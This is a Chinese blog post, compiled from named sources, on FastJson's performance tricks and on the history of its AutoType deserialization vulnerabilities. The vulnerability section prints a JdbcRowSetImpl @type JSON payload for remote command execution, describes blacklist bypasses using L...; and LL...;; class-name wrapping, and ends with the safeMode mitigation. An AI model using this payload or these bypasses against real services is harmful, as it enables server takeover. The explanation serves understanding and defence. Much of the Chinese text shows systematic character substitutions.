因为公司提供的根底框架应用的是 FastJson 框架、而部门的架构师举荐应用 Jackson。所以特此理解下 FastJson 相干的货色。
FastJson 是阿里开源的 Json 解析库、能够进行序列化以及反序列化。
https://github.com/alibaba/fastjson
最广为人所知的一个特点就是快
fastjson绝对其余JSON库的特点是快，从2011年fastjson公布1.1.x版本之后，其性能从未被其余Java实现的JSON库超过。
贴上几张比照图
从下面能够看到无论是反序列化还是序列化 FastJson 和 Jackson 差距其实并不是很大。
为啥 FastJson 可能那么快
Fastjson中Serialzie的优化实现
- 自行编写相似StringBuilder的工具类SerializeWriter。
把java对象序列化成json文本，是不可能应用字符串间接拼接的，因为这样性能很差。比字符串拼接更好的方法是应用java.lang.StringBuilder。StringBuilder尽管速度很好了，但还可能进一步晋升性能的，fastjson中提供了一个相似StringBuilder的类com.alibaba.fastjson.serializer.SerializeWriter。
SerializeWriter提供一些针对性的办法缩小数组越界查看。例如public void writeIntAndChar(int i, char c) {}，这样的办法一次性把两个值写到buf中去，可能缩小一次越界查看。目前SerializeWriter还有一些要害的办法可能缩小越界查看的，我还没实现。也就是说，如果实现了，可能进一步晋升serialize的性能。
- 应用ThreadLocal来缓存buf。
这个方法可能缩小对象调配和gc，从而晋升性能。SerializeWriter中蕴含了一个char[] buf，每序列化一次，都要做一次调配，应用ThreadLocal优化，可能晋升性能。
- 应用asm防止反射
获取java bean的属性值，须要调用反射，fastjson引入了asm的来防止反射导致的开销。fastjson内置的asm是基于objectweb asm 3.3.1革新的，只保留必要的局部，fastjson asm局部不到1000行代码，引入了asm的同时不导致大小变大太多。
- 应用一个非凡的IdentityHashMap优化性能。
fastjson对每种类型应用一种serializer，于是就存在class -> JavaBeanSerizlier的映射。fastjson应用IdentityHashMap而不是HashMap，防止equals操作。咱们晓得HashMap的算法的transfer操作，并发时可能导致死循环，然而ConcurrentHashMap比HashMap系列会慢，因为其应用volatile和lock。fastjson本人实现了一个特地的IdentityHashMap，去掉transfer操作的IdentityHashMap，可能在并发时工作，然而不会导致死循环。
- 缺省启用sort field输入
json的object是一种key/value构造，失常的hashmap是无序的，fastjson缺省是排序输入的，这是为deserialize优化做筹备。
- 集成jdk实现的一些优化算法
在优化fastjson的过程中，参考了jdk外部实现的算法，比方int to char[]算法等等。
fastjson的deserializer的次要优化算法
- 读取token基于预测。
所有的parser基本上都须要做词法解决，json也不例外。fastjson词法解决的时候，应用了基于预测的优化算法。比方key之后，最大的可能是冒号":"，value之后，可能是有两个，逗号","或者右括号"}"。在com.alibaba.fastjson.parser.JSONScanner中提供了这样的办法
public void nextToken(int expect) {
for (;;) {
switch (expect) {
case JSONToken.COMMA: //
if (ch == ',') {
token = JSONToken.COMMA;
ch = buf[++bp];
return;
}
if (ch == '}') {
token = JSONToken.RBRACE;
ch = buf[++bp];
return;
}
if (ch == ']') {
token = JSONToken.RBRACKET;
ch = buf[++bp];
return;
}
if (ch == EOI) {
token = JSONToken.EOF;
return;
}
break;
// ... ...
}
}从下面摘抄下来的代码看，基于预测可能做更少的解决就可能读取到token。
- sort field fast match算法
fastjson的serialize是依照key的程序进行的，于是fastjson做deserializer时候，采纳一种优化算法，就是假如key/value的内容是有序的，读取的时候只须要做key的匹配，而不须要把key从输出中读取进去。通过这个优化，使得fastjson在解决json文本的时候，少读取超过50%的token，这个是一个非常要害的优化算法。基于这个算法，应用asm实现，性能晋升非常显著，超过300％的性能晋升。
{ "id" : 123, "name" : "魏加流", "salary" : 56789.79}
------ -------- ----------在下面例子看，虚线标注的三个局部是key，如果key_id、key_name、key_salary这三个key是程序的，就能够做优化解决，这三个key不须要被读取进去，只须要比拟就能够了。
这种算法分两种模式，一种是疾速模式，一种是惯例模式。疾速模式是假设key是程序的，能疾速解决，如果发现不可能疾速解决，则退回惯例模式。保障性能的同时，不会影响性能。
在这个例子中，惯例模式须要解决13个token，疾速模式只须要解决6个token。
演示 sort field fast match 算法的代码
// 用于疾速匹配的每个字段的前缀
char[] size_ = ""size":".toCharArray();
char[] uri_ = ""uri":".toCharArray();
char[] titile_ = ""title":".toCharArray();
char[] width_ = ""width":".toCharArray();
char[] height_ = ""height":".toCharArray();
// 保留parse开始时的lexer状态信息
int mark = lexer.getBufferPosition();
char mark_ch = lexer.getCurrent();
int mark_token = lexer.token();
int height = lexer.scanFieldInt(height_);
if (lexer.matchStat == JSONScanner.NOT_MATCH) {
// 退出疾速模式, 进入惯例模式
lexer.reset(mark, mark_ch, mark_token);
return (T) super.deserialze(parser, clazz);
}
String value = lexer.scanFieldString(size_);
if (lexer.matchStat == JSONScanner.NOT_MATCH) {
// 退出疾速模式, 进入惯例模式
lexer.reset(mark, mark_ch, mark_token);
return (T) super.deserialze(parser, clazz);
}
Size size = Size.valueOf(value);
// ... ...
// batch set
Image image = new Image();
image.setSize(size);
image.setUri(uri);
image.setTitle(title);
image.setWidth(width);
image.setHeight(height);
return (T) image; - 应用asm防止反射
deserialize的时候，会应用asm来结构对象，并且做batch set，也就是说合并间断调用多个setter办法，而不是扩散调用，这个可能晋升性能。
- 对utf-8的json bytes，针对性应用优化的版本来转换编码。
这个类是com.alibaba.fastjson.util.UTF8Decoder，来源于JDK中的UTF8Decoder，然而它应用ThreadLocal Cache Buffer，防止转换时调配char[]的开销。 ThreadLocal Cache的实现是这个类com.alibaba.fastjson.util.ThreadLocalCache。第一次1k，如果不够，会增长，最多增长到128k。
//代码摘抄自com.alibaba.fastjson.JSON
public static final <T> T parseObject(byte[] input, int off, int len, CharsetDecoder charsetDecoder, Type clazz,
Feature... features) {
charsetDecoder.reset();
int scaleLength = (int) (len * (double) charsetDecoder.maxCharsPerByte());
char[] chars = ThreadLocalCache.getChars(scaleLength); // 应用ThreadLocalCache，防止频繁分配内存
ByteBuffer byteBuf = ByteBuffer.wrap(input, off, len);
CharBuffer charByte = CharBuffer.wrap(chars);
IOUtils.decode(charsetDecoder, byteBuf, charByte);
int position = charByte.position();
return (T) parseObject(chars, position, clazz, features);
} symbolTable算法。
咱们看xml或者javac的parser实现，常常会看到有一个这样的货色symbol table，它就是把一些常常应用的关键字缓存起来，在遍历char[]的时候，同时把hash计算好，通过这个hash值在hashtable中来获取缓存好的symbol，防止创立新的字符串对象。这种优化在fastjson外面用在key的读取，以及enum value的读取。这是也是parse性能优化的要害算法之一。
以下是摘抄自JSONScanner类中的代码，这段代码用于读取类型为enum的value。
int hash = 0;
for (;;) {
ch = buf[index++];
if (ch == '"') {
bp = index;
this.ch = ch = buf[bp];
strVal = symbolTable.addSymbol(buf, start, index - start - 1, hash); // 通过symbolTable来取得缓存好的symbol，包含fieldName、enumValue
break;
}
hash = 31 * hash + ch; // 在token scan的过程中计算好hash
// ... ...
}以上这一大段内容都是来源于 FastJson 的作者 温少 的 blog
https://www.iteye.com/blog/wenshao-1142031
为啥常常被爆出破绽
对于 Json 框架来说、想要把一个 Java 对象转换成字符串、有两种抉择
- 基于属性
- 基于 setter/getter
FastJson 和 Jackson 在把对象序列化成 json 字符串的时候、是通过遍历该类中所有 getter 办法进行的。Gson并不是这么做的，他是通过反射遍历该类中的所有属性，并把其值序列化成json。
class Store {
private String name;
private Fruit fruit;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Fruit getFruit() {
return fruit;
}
public void setFruit(Fruit fruit) {
this.fruit = fruit;
}
}
interface Fruit {
}
class Apple implements Fruit {
private BigDecimal price;
//省略 setter/getter、toString等
}
当咱们要对他进行序列化的时候，fastjson会扫描其中的getter办法，即找到getName和getFruit，这时候就会将name和fruit两个字段的值序列化到JSON字符串中。
那么问题来了，咱们下面的定义的Fruit只是一个接口，序列化的时候fastjson可能把属性值正确序列化进去吗？如果能够的话，那么反序列化的时候，fastjson会把这个fruit反序列化成什么类型呢？
咱们尝试着验证一下，基于(fastjson v 1.2.68)：
{"fruit":{"price":0.5},"name":"Hollis"}
那么，这个fruit的类型到底是什么呢，是否反序列化成Apple呢？咱们再来执行以下代码：
Store newStore = JSON.parseObject(jsonString, Store.class);
System.out.println("parseObject : " + newStore);
Apple newApple = (Apple)newStore.getFruit();
System.out.println("getFruit : " + newApple);
执行后果如下：
toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}
parseObject : Store{name='Hollis', fruit={}}
Exception in thread "main" java.lang.ClassCastException: com.hollis.lab.fastjson.test.$Proxy0 cannot be cast to com.hollis.lab.fastjson.test.Apple
at com.hollis.lab.fastjson.test.FastJsonTest.main(FastJsonTest.java:26)
能够看到，在将store反序列化之后，咱们尝试将Fruit转换成Apple，然而抛出了异样，尝试间接转换成Fruit则不会报错，如：
Fruit newFruit = newStore.getFruit();
System.out.println("getFruit : " + newFruit);
以上景象，咱们晓得，当一个类中蕴含了一个接口（或抽象类）的时候，在应用fastjson进行序列化的时候，会将子类型抹去，只保留接口（抽象类）的类型，使得反序列化时无奈拿到原始类型。
那么有什么方法解决这个问题呢，fastjson引入了AutoType，即在序列化的时候，把原始类型记录下来。
应用办法是通过SerializerFeature.WriteClassName进行标记，行将上述代码中的
String jsonString = JSON.toJSONString(store,SerializerFeature.WriteClassName);
{
"@type":"com.hollis.lab.fastjson.test.Store",
"fruit":{
"@type":"com.hollis.lab.fastjson.test.Apple",
"price":0.5
},
"name":"Hollis"
}
能够看到，应用SerializerFeature.WriteClassName进行标记后，JSON字符串中多出了一个@type字段，标注了类对应的原始类型，不便在反序列化的时候定位到具体类型。
然而，也正是这个个性，因为在功能设计之初在平安方面思考的不够周全，也给后续fastjson使用者带来了无尽的苦楚
AutoType 何错之有？
因为有了autoType性能，那么fastjson在对JSON字符串进行反序列化的时候，就会读取@type到内容，试图把JSON内容反序列化成这个对象，并且会调用这个类的setter办法。
那么就能够利用这个个性，本人结构一个JSON字符串，并且应用@type指定一个本人想要应用的攻打类库。
举个例子，黑客比拟罕用的攻打类库是com.sun.rowset.JdbcRowSetImpl，这是sun官网提供的一个类库，这个类的dataSourceName反对传入一个rmi的源，当解析这个uri的时候，就会反对rmi近程调用，去指定的rmi地址中去调用办法。
而fastjson在反序列化时会调用指标类的setter办法，那么如果黑客在JdbcRowSetImpl的dataSourceName中设置了一个想要执行的命令，那么就会导致很重大的结果。
如通过以下形式定一个JSON串，即可实现近程命令执行（在晚期版本中，新版本中JdbcRowSetImpl曾经被加了黑名单）
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
这就是所谓的近程命令执行破绽，即利用破绽入侵到指标服务器，通过服务器执行命令。
在晚期的fastjson版本中（v1.2.25 之前），因为AutoType是默认开启的，并且也没有什么限度，能够说是裸着的。
从v1.2.25开始，fastjson默认敞开了autotype反对，并且退出了checkAutotype，退出了黑名单+白名单来进攻autotype开启的状况。
然而，也是从这个时候开始，黑客和fastjson作者之间的博弈就开始了。
因为fastjson默认敞开了autotype反对，并且做了黑白名单的校验，所以攻打方向就转变成了"如何绕过checkAutotype"。
绕过checkAutotype，黑客与fastjson的博弈
在fastjson v1.2.41 之前，在checkAutotype的代码中，会先进行黑白名单的过滤，如果要反序列化的类不在黑白名单中，那么才会对指标类进行反序列化。
然而在加载的过程中，fastjson有一段非凡的解决，那就是在具体加载类的时候会去掉className前后的L和;，形如Lcom.lang.Thread;。
而黑白名单又是通过startWith检测的，那么黑客只有在本人想要应用的攻打类库前后加上L和;就能够绕过黑白名单的查看了，也不耽搁被fastjson失常加载。
如Lcom.sun.rowset.JdbcRowSetImpl;，会先通过白名单校验，而后fastjson在加载类的时候会去掉前后的L和，变成了com.sun.rowset.JdbcRowSetImpl`。
为了防止被攻打，在之后的 v1.2.42版本中，在进行黑白名单检测的时候，fastjson先判断指标类的类名的前后是不是L和;，如果是的话，就截取掉前后的L和;再进行黑白名单的校验。
看似解决了问题，然而黑客发现了这个规定之后，就在攻打时在指标类前后双写LL和;;，这样再被截取之后还是能够绕过检测。如LLcom.sun.rowset.JdbcRowSetImpl;;
魔高一尺，道高一丈。在 v1.2.43中，fastjson这次在黑白名单判断之前，减少了一个是否以LL未结尾的判断，如果指标类以LL结尾，那么就间接抛异样，于是就又短暂的修复了这个破绽。
黑客在L和;这里走不通了，于是想方法从其余中央下手，因为fastjson在加载类的时候，不只对L和;这样的类进行非凡解决，还对[也被非凡解决了。
后续几个也是围绕 AutoType 进行攻打的、感兴趣可间接查看原文。以上内容文段来自一下链接
https://zhuanlan.zhihu.com/p/157211675
AutoType 平安模式？
能够看到，这些破绽的利用简直都是围绕AutoType来的，于是，在 v1.2.68版本中，引入了safeMode，配置safeMode后，无论白名单和黑名单，都不反对autoType，可肯定水平上缓解反序列化Gadgets类变种攻打。
设置了safeMode后，@type 字段不再失效，即当解析形如{"@type": "com.java.class"}的JSON串时，将不再反序列化出对应的类。
开启safeMode形式如下：
ParserConfig.getGlobalInstance().setSafeMode(true);
Exception in thread "main" com.alibaba.fastjson.JSONException: safeMode not support autoType : com.hollis.lab.fastjson.test.Apple
at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:1244)
以上内容均为整顿所得
https://www.iteye.com/blog/wenshao-1142031https://zhuanlan.zhihu.com/p/157211675